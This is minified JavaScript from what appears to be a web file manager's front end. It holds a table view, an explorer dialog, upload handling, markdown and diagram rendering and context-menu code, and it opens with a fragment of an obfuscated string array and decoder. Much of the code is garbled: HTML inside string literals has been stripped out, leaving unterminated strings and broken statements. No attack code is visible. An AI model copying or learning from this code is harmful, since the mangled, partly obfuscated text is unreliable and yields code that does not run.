gZ4Ooy4Oke77I04OkS4OkM77QL4Ocy77U34Ocj77Md4Ogn4Oca4Oo+77Qd77Iw4Oc/4Oo977Ii4Ogu4Ogl4OgX77UR77IC4OkY4OkI4OgG4OkA4Okv4Ooy4OgE4OoW4Ock4OcE4OoN4Ooq4Ooa4Oc64Ooz4OgU4Oop4OoT4OkV77MR77UB4Ogp77In4Okj4Ogw4Oc677M74OoV4Oc74Ooq4Oc54Okv4Og74OkT4Ogd4OcI4OgX4Ocr77U94Ok34Ock4OgC4OgQ4Oco4OoZ4Okw77It77Io4OoC4Oog77Ur4Ocf4Oc74OcL77Ig4Og/77Iv4Ogk77QU77Ij4OoE4OgI77IR4Ogj4OcG4Og577Mc4OkM4Oou4Ogs77I04OkY4Oo44OcX77Ql4OoC4Occ4Okv77MC4Ogt4Ogy4OkP4OgB4OkC4Oo84OcM77IG4OcB4Okj4Oo077Qp4Ooq77Qv4Ooy77Md4Ooa4Ogp4Ok777Mr4OoH4Ok64OoZ77Ie4OkJ4Okn4Oc677Mx4Ogm4OcU4OkY4Og34OcL4Ocg4OgH4Oks4OgU4OcP4OgN77Iq4OgL4OkM4Oks77Uv4Ogd4OgM4OgK4Oos4Ocg4Ocq4Okm77Io4Ocx4OcL4Okl77Qe4Ocj4OcO4OgE77UM4OkZ4OkQ4OoJ77Q44Ogf4OkS4Og+77IE77UJ4Ood4Ogy77Ic4Okt77I/4OoS77Mf4OgW4Og64Ocq4Oki4OcA77I/4Oc94OkK4Ogv4Ocy4Ocw77Uf4Oo377U44OgU77Ur77MO77Mf4Ok34OcC4OcZ4Ogt4OcV4OgL4Oo04OoB4OkA4Ooe4OgL77M14OgT4Ogx4Okp4OkF4OoV77Ix4OgZ4Ok94Og+77MJ77MA4OoQ4Ocv4Ogs4OkQ4OcA4Ok477I477I94Og04OoW77Qc4OkM77M94Ogg77Q+4Ogk4OcB4OoE77My4OkW4Ocr4OoD4OcL4Og+4OoJ4Ocg4OkH77Ij4Ogi4OcU77U34Oo64Ock4Occ4Oog4Okv4Oo64Okw77QB77UP4Ocs4OcU4OkQ4Ogt4OoZ4OoO77Io77Mg4Oki4OoI77IZ4Oo24OgX4OkV77UF4Ok04Ocd4Oku77UZ4OgE4Ogi4OcR4Og94OoN4OcA4OcR77Ma77UK4OcZ4OoB4OoZ77MR4OoD","WRVdT8oVWRXB","W7BcO8oMmCkH","WRFcMZOaCq==","uSkrmw/cICoRjN1Jiq==","W5tdOMZdNSoatq/cM2H9WOGUqa==","W6RdP3NdM8ouwW==","e8k0oZpcQCkUi8obamk+zCk7WQq=","WOJdQmkAuSoz","W4NdNmk5w8ksW7jSurBdPaRdSKtcR8k9v8o5W73cPq==","WPmxWQu/WOhcGCoOWR8H","mCkuudddLCkdkSohxZC=","cmoXcCkJWQ4t","d2xcIceoWQldSSo+W7G=","C8kYEhpcMmkqo8osc8oGq8kTWQVcG8oBv8kboCoxWRrck8oanqCLWQVdLmo6iCk3WONdRsldIu3cLCozWRpdO8o0mva+A8o6Cg/cLKNcMahcTCk6bNrdvCksW6BdVINcQmoiWQy1WOP3FmkfW6ZcVgFcUcNcGSkdW67dNwekWRBdTdHtW6xcTNJcN1tdR0xdPaPoosm7W5u=","o8k4WRiEu8ouW4VcS3S=","Eh5wWPWMWOW=","EL05f3i=","uNW6puOdWRdcQW==","zCkCWQxdKSo8","xSk7WQtdH8oHW4VcLmkh","rCkun313","qhW+jwKyWRC=","gZtdHwVdGq==","WOldSSkQxSotWRBdMqC3","W7KxkvhdGdpdUmo+","W7ZdTCkYF8kV","WOjJBfSZcq==","k1SUWPS=","W5tdQgddM8oxertcH1bQW4iYqCooWP3cNg0=","dCoWb8kLWQrzWQpdJwabwSkzm8oQkMWtW78qW7ldRa==","WQyCWQCFWRq=","W4uLW5RdKSkd","cmkgWPGvW7e=","iX7dIghdLq==","WQ7cP8oWWQKB","WOxcLgHebW==","W5Sxce/dIa==","aCoadCkKWPW=","WP7cQK18l0VdNSoeWQqs","zhtdVKNdOa==","smoSy8o7o8oMyhLQg8keW6zXW4u4WR50mHG=","W7TZWOv1W4K9WRzFemoplCkoeZ9GdmkgW6BdSCkPl8oxW4m1FW==","g8ktn2TRt8kOW5tcOq==","o8kusrFdNmkuc8olqJFcOcX5WRZcId3dIeVdVmoc","vLXdWRmh","WPddICkpDmot","WRbdwv4g","mmkoo393wmkMW5lcTa==","EMnw","WOPNoKWKWPS=","hSoKemkPWQC=","W4BdL8kGw8kFWRHqwW/dOH/dSG==","WQddSvLBoW==","fH8lWQue","W4mxW6pdO8oOzCk/WRX/mCoOvbCjdW==","omkmignOzCk6","qCoYW6Tv","jSk4W5ZdTSk5","jdpdH2ddTG==","WRj+iva5WRNdQHu=","qgxdUxRdUa==","t8k7WQZdHW==","WPBcRSkbWRddUW==","nmofFCkAAWrg","W5raWR5RW6K=","cmkiW6VdMSkAgmkDW7OuWPOHvmkiWOpdKG==","W43cHCkhW7bw","WRxcLsWxFq==","mCkFW7tdKtRcJYe=","z8kkW73cP8on","W546W4hdNCkD","WQJdNCk/FmoF","WPNcLdK3ra==","dCoWb8kLWQrzWQ/dHMWprSkyDCo4ywCKW7KwW6JdSG==","W5PLefHq","ghSLstBcG8k9WOvr","W7JcTmoInSk4","imk1jY/cOSoYnCoIbSkZF8k5W67cI8oqw8kKzCoj","WPFcLCk+WOJdHG==","WPpcPCk5W4X6mq==","WPGQWPW4WRW=","WPj8humG","q8k2W7pcJCoU","W57cSSoQ","W4tdLKJdLmon","W43cHmkjW4vj","WPVcOrC=","WP9rFuWf","WPFcIrOgwq==","smkIWPRdRmol","p8ksdfPQ","W6PXcfHu","gHiKWRuZ","W4hdN8kIzSk1","WOnOxMe5","W4NdNmk5w8ksW7jVwW/dRWZdPutcUmk2w8o0W6FcPq==","pCkvudVdNSoEc8olqshcTHWVWPVcNtVdSL/dOG==","usrYtK3dImoZW5mg","e8k9W4pdIX0=","mZmQWOGjD8owxbNcTcBdLCo+WRNdSw4=","vZrY","kCoAFmkhyrGBW7mXDHddPMS=","FCkuW7JcUSo6WPJdImoWfmoZW6fNga==","W77dTwVdPmoR","WO3cOSkeW6n5","WRrJFKeYh8kmxrJcV8k1Bq==","W4rzWQrXW6q=","nGFdThFdJ8k8WRldL2n+WPBcGW==","WPmxWQu/WOhcGCoUWR4XpCo0tCkDWRLlymobtCopvdf7jmonW6pdRGunWOyPWQ1EW6RcJ8kklf1CD8kObhddU8k6W7ddSmoNgSkoWOi3WQ3cVJVcVqNcO18HWOy+tmoyW5OMBrNcPmkXgCoftYZdNmk8WRqGf8kjWQVdLmowtXlcGCoommosuN3dN8oqDCklFCkvDq==","nCk5zXJdQG==","dtSUWPithmoqwHFcJZNcJq==","WRFdVxvSdCkPWQtdOJyRAMzMW6ZcR8o2jSkCkL7cV8onWPnWk8oyaSkPWOBdQSkqW7hdLSookc5mW7dcRmoYW5iBW6hcJ8kBxCkgn0n4nmoLWO9tW5FdTSo9WOLKa8oXWQLhihRcImko","WRtcLZ0tW7/dUCoKb8k0xKf6peS8WO3dHq==","WPVdKSkeqSo5","ruiMyI8=","W7dcTNNcHdq=","zmkDgICr","W4/cGwFcMc8=","WODIyL05q8kvErpcQCk1BCkhDa/dPq==","l8kstZVdGmkf","WQJdNSkiCCoN","WQZcUtKgwW==","WRfQz1yn","f8k9W7pdQHi=","tmkBgeBcJq==","WPZcQKbfa0hdN8oDWRm=","nmkvWPa7zq==","tMxdOxZdH17cPmoDWR/dO8kok8kRCa==","WPBcQ8o6WOenWOmSofa=","W6rLcfP1W54kC10=","W47cOSoNfCkAWQJcUgZcNCodW6xdPaJdHa==","oSoaFCkBrq5rWR42DWhdVe9qWRNcHWC0WPxcTSkxWQJdI3WzESoDodD+zxvZWQRcOrm=","W7vHegbG","oCo8ECkrvq==","FwChqG==","W73cO8kHW6Ht","WRdcVqKGW5K=","W6ZcOmotfSk6","W78kW7JdJCkp","E8kInxzq","xM4Czbu=","WRlcUbatyG==","gmoNk8k0WPW=","kGiDWPuo","WO7cRSk4WOBdMCkde8op","gmk7jgjs","aCkUWO0OW5tcTSoo","W6tcPmkjW41SwX7dJLldQSo3WQHzWOFdV8kabmka","k2pcHaWvWR8=","AMBdSh3dP0W=","DCkEW7ZcP8oxW5BdISo2emoDW7f6fCoyxmkpWPldKJRcLW==","xgldTG==","bSk7WPGL","WO7dSmoyWP5The8HW5hdGei=","WRhdRxu=","W78vnKhdNHBdN8oYALim","gCkOWQKPFa==","WRr6chil","WQTcwKaG","k8kmWQW=","cmkiW6VdMSkAgmkiW6CxWOP+hmkmWPm=","W4xdIKxdNmow","WOq8WPWkWQu=","W47cS8o+e8kGW6BcOwJcS8kfW7pdTa=="];a=s,function(e){for(;--e;)a["push"](a["shift"]())}(429);var p,i={},r=(i[(p=function p(e,t){var h,i=s[e=+e],n=(p["cFvfxF"]===undefined&&(h=function h(e){for(var t,i,n=String(e)["replace"](/=+$/,""),o="",a=0,s=0;i=n["charAt"](s++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="["indexOf"](i);return o},p["ExdyOc"]=function u(e,t){for(var i,n=[],o=0,a="",s="",r=0,c=(e=h(e))["length"];r',r+=' '),t+=''+n.title+r+"
",i[n.field+"_@_"+e]=n}var c=''+t+"
";this.columns=i,this.target.find(".content .list-table").html(c)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),o=Tips.loadingMask();Object.assign(e,this.config.data),this.config.request(e,function(e){o.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+=''+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,o={},a=(_.get(e,"attr.formatter")&&(o=e.attr.formatter(i)),$.objClone(e)),s=(a.attr=a.attr||{},a.attr=$.extend({},a.attr,o),_.unset(a.attr,"formatter"),[]);for(n in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)s.push(n+'="'+a.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var o,a="",s=t[e];for(o in n){var c=o.split("_@_")[0],l=s[c],d=n[o];_.isFunction(n[o].formatter)&&(l=n[o].formatter(l,e,t)),a+="'+l+"
"}i+=""+a+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=a(27),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),o=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=o+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+o+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var e=this.dialog.$main,t=function t(){e.width()<600?e.addClass("app-wap-small"):e.removeClass("app-wap-small")};t=_.debounce(_.bind(t,this),50),this.bind("viewResize",t),t()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(28),a=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var o={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},n=($.extend(!0,o,n||{}),new a["default"]({"parent":this,"paramData":o}));this.uploadViewEvent(n,i),n.uploadContent(e,t)},"uploadFile":function(e,t,i){var n={"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},t=($.extend(!0,n,t||{}),new a["default"]({"parent":this,"paramData":n}));this.uploadViewEvent(t,i),t.uploadContent(e)},"uploadViewEvent":function(c,t){var e=this,i=[],n=!1,l=c.paramData.tipsLoading||LNG["explorer.uploading"],o=c.paramData.tipsError||LNG["explorer.upload.error"],a=c.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=c).paramData.single,h=Tips.notify({"id":c.paramData.tipsID||"","title":l,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){c.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=c.uploader.getStatus(),e=a+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(c,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=c.uploader.transfer||{},o=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",o=n.speed+o,a=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=c.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),o=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(o=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t\n\t\t\t\t\t'+o+' \n\t\t\t\t\t'+i+s+" \n\t\t\t\t
");h.title(l+a).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":o,"icon":"error","delay":2e3}):h.title(o).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(a).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=o+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!c.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,c){var i,l=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((c=c||{}).postParam=c.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",c.allowAllFiles?(e.type||1"+i+"","hash":e,"time":timeFloat()})},a=function a(e,t){var i=t;try{i=e.render(t||""),_.each(s,function(e){i=e(i)})}catch(n){}return i},s=[],d=function d(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),o=_.keys(t),a=0;a
"}catch(h){}if(_.includes(["flowchart","flow"],e)){var s=UUID(),r=$("
").appendTo("body"),c={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{flowchart.parse(a).drawSVG(s,c);var l=r.html();return r.remove(),''+l+"
"}catch(h){r.remove(),console.info(h)}}if(_.includes(["abc","music"],e)){s=UUID(),r=$("
").appendTo("body"),c={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{ABCJS.renderAbc(s,a);l=r.html();return r.remove(),''+l+"
"}catch(h){r.remove(),console.info(h)}}if(_.includes(["plantuml"],e)||_.startsWith(a,"@startuml"))return'';c=u(e),r=u(a);if(c||r||!("seq"==e||"sequence"==e)||(c=!0,e="sequenceDiagram",a=a.replace(/\\n/g,"\\n")),"sequenceDiagram"==e&&(a=p(a)),c||r){var d=a,s=(c&&!r&&(d=e+"\n"+a),UUID());try{return''+(l=mermaid.mermaidAPI.render(s,d))+"
"}catch(h){$("#d"+s).remove(),console.info(h)}}return(0,f["default"])(t.content,e)}};var t=i(206),f=(i=t)&&i.__esModule?i:{"default":i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e,t){var i="",i=(t&&hljs.getLanguage(t)?hljs.highlight(e,{"language":t}):hljs.highlightAuto(e)).value,t="",o="\n";return e.split("\n").length<5?""+i+"
":''+(i=t+(i=(i=i.replace(/\n/g,o)).substr(0,i.length-o.length))+n)+"
"}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.after("emphasis","toc",function(e,t){return!t&&!((t=(t=/^@?(\[toc\])|(\[\[toc\]\])/im.exec(e.src))?t.filter(function(e){return e}):[]).length<1||(e.push("toc_open","toc",1).markup=t[0],e.pos=e.pos+t[0].length,0))}),e.renderer.rules.toc_open=function(e,t){return''}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){var t=".markdown-preview-image-show",i=$(t);i.exists()||(i=$('').appendTo("body"),$.addStyle("\n\t\t.markdown-preview-image-show,.markdown-preview img,.markdown-preview .markdown-flow{cursor:pointer;}\n\t\t.markdown-preview-image-show .label{color: #444;}\n\t\t.markdown-preview-image-show{\n\t\t\tposition:fixed;left:0;top:0;right:0;bottom:0;z-index:99999;\n\t\t\tbackground:rgba(255,255,255,0.95);\n\t\t}\n\t\t.markdown-preview-image-show img,.markdown-preview-image-show svg{padding: 20px 5%;margin-top: 5%;}\n\t\t.markdown-preview-image-show img{box-shadow:0 0 50px rgba(85, 85, 85, 0.2);}\n\t\t.markdown-preview-image-show .continer{\n\t\t\tposition: absolute;margin: auto;\n\t\t\ttop: 0;left: 0;bottom: 0;right: 0;\n\t\t\twidth:100%;height:100%;text-align:center;overflow: auto;\n\t\t}"),i.bind("click",function(){i.fadeOut(100,function(){i.find(".continer").html(""),i.addClass("hidden")})})),e.delegate(".markdown-flow svg,img","click",function(){$(this).clone().appendTo(i.find(".continer")),i.removeClass("hidden").hide().fadeIn(100)})}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){i(210),i(211),i(212),i(213),window.ExplorerMain=i(14)["default"];var e=i(4)["default"],t=new e;window["kodApi"]={"explorerMain":i(14)["default"],"explorer":i(10).ExplorerDialog,"pathSelect":i(20)["default"],"request":e,"requestMakeApi":_.bind(t.makeApi,t),"requestSend":_.bind(t.requestSend,t),"formMaker":i(1)["default"],"vList":i(19)["default"],"vListIcon":i(99)["default"],"vListTree":i(101)["default"],"copyright":i(50)["default"],"componment":{"markdown":i(13)["default"],"request":i(4)["default"],"tree":i(21)["default"],"chatText":i(95)["default"],"upload":i(28)["default"],"uploadBlob":i(12)["default"],"pathModel":i(26)["default"],"table":i(9)["default"],"menubar":i(17)["default"],"input":i(56)["default"],"UserTools":i(16)["default"],"pageError":i(57)["default"],"pageContent":i(54)["default"]}}}},function(e,t,i){"use strict";var u,p,r;u=function u(e){e=e.ico||e.icon||"";return!e||_.includes(e,"<")?e:_.includes(e,"/")?' ':' '},p=function p(c,l,e,d,h){var t=[],i={};if(d){for(var n in e)t.push({"key":n,"value":e[n]});for(var o=t.length-1;0<=o;o--)i[t[o]["key"]]=t[o]["value"]}else i=e;$.each(i,function(e,t){n="string"==typeof t?'':(t.className=t.className||"",n=e+" "+t.className,i=t.name,o=' item-key="'+e+'"',t.accesskey&&(i+='"),a=t.htmlAdd||"",'");var i,n,o=$(n).clone(),a=d||h,s=l.$menu,r=s.find(a).first(),a=(0==(r=0==(r=l.$menuParent?(s=l.$menuParent.children(".context-menu-list").first()).find(a).first():r).length&&l.commands[a]?l.commands[a].$node:r).length&&(r=s.children().last()),d?r.after(o):h&&r.before(o),o.parent(".context-menu-list").data("contextMenu")),s=(o.data({"contextMenu":a,"contextMenuKey":e,"contextMenuRoot":c}),{"$input":null,"$label":null,"accesskey":t.accesskey,"className":t.className,"icon":t.icon,"name":t.name,"_name":i,"$node":o});a&&(a.items||(a.items={}),a.items[e]=s),"string"!=typeof t&&(l.commands||(l.commands={}),l.commands[e]=s,c.commands[e]=s,c.callbacks[e]=function(){return t.callback.apply(this,arguments)},t.accesskey&&(c.accesskeys[t.accesskey]||(c.accesskeys[t.accesskey]=[]),c.accesskeys[t.accesskey].push(s)),t.items)&&(n='',$(n).appendTo(o),s.$menu=o.find("ul."+e),s.callback=null,s.appendTo=s.$node,s.type="sub",o.data("contextMenu",s).addClass("context-menu-submenu"),o.find("ul."+e).data({"contextMenuRoot":c,"contextMenu":s}),o.find("li."+r).data({"contextMenuRoot":c,"contextMenuKey":r,"contextMenu":s}),s.items||(s.items={}),s.items[r]={"$input":null,"$label":null,"icon":"","name":"","_name":"","$node":o.find("li."+r)},p(c,s,t.items,"."+r))})},r=function r(e){if(_.isObject(e)&&e.$menu)return e;var t,i,n=$.contextMenu.menus;for(i in n)if(n[i]&&(n[i].selector==e||n[i].selector=="."+e||n[i].selector=="#"+e)){t=n[i];break}return t},$.contextMenu.menuItem=function(e,t){var i=r(e);if(t===undefined)return i.items;if(!i||!i.items)return!1;"string"==typeof t&&(t=[t]);for(var n=!1,o=0;o